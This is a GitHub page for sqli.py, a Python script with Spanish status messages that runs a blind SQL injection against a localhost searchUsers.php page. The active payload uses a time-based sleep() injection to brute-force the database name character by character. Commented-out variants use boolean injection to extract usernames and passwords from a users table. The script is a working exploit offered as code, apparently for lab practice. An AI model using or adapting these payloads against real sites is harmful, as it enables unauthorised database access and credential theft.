-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsqli.py
61 lines (48 loc) · 1.91 KB
/
sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# ctrl + c
signal.signal(signal.SIGINT, def_handler)
# global variables
main_url="http://localhost/searchUsers.php"
def makeSQLI():
# print("\n [+] I dont make mistakes\n")
# sys.exit(0)
#
p1 = log.progress("Fuerza bruta")
p1.status("INiciando proceso de fuerza bruta")
time.sleep(3)
p2 = log.progress("Datos extraidos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 126):
# sqli_URL = main_url + "?id=9 or (select (select ascii(substring(username,%d,1)) from users where id = 1)=%d)" % (position, character)
# print(sqli_URL)
# sqli_URL = main_url + "?id=9 or (select(select ascii(substring((select group_concat(username) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
# sqli_URL = main_url + "?id=9 or (select(select ascii(substring((select group_concat(username,0x3a,password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
sqli_URL = main_url + "?id=1 and if(ascii(substr(database(),%d,1))=%d,sleep(0.6),1)" % (position, character)
p1.status(sqli_URL)
time_start = time.time() # timer
r = requests.get(sqli_URL)
time_end = time.time() # timer
# print(r.status_code)
"""
if r.status_code == 200:
# print(chr(character))
extracted_info += chr(character)
p2.status(extracted_info)
break
"""
if time_end - time_start > 0.6:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
# time.sleep(12)
makeSQLI()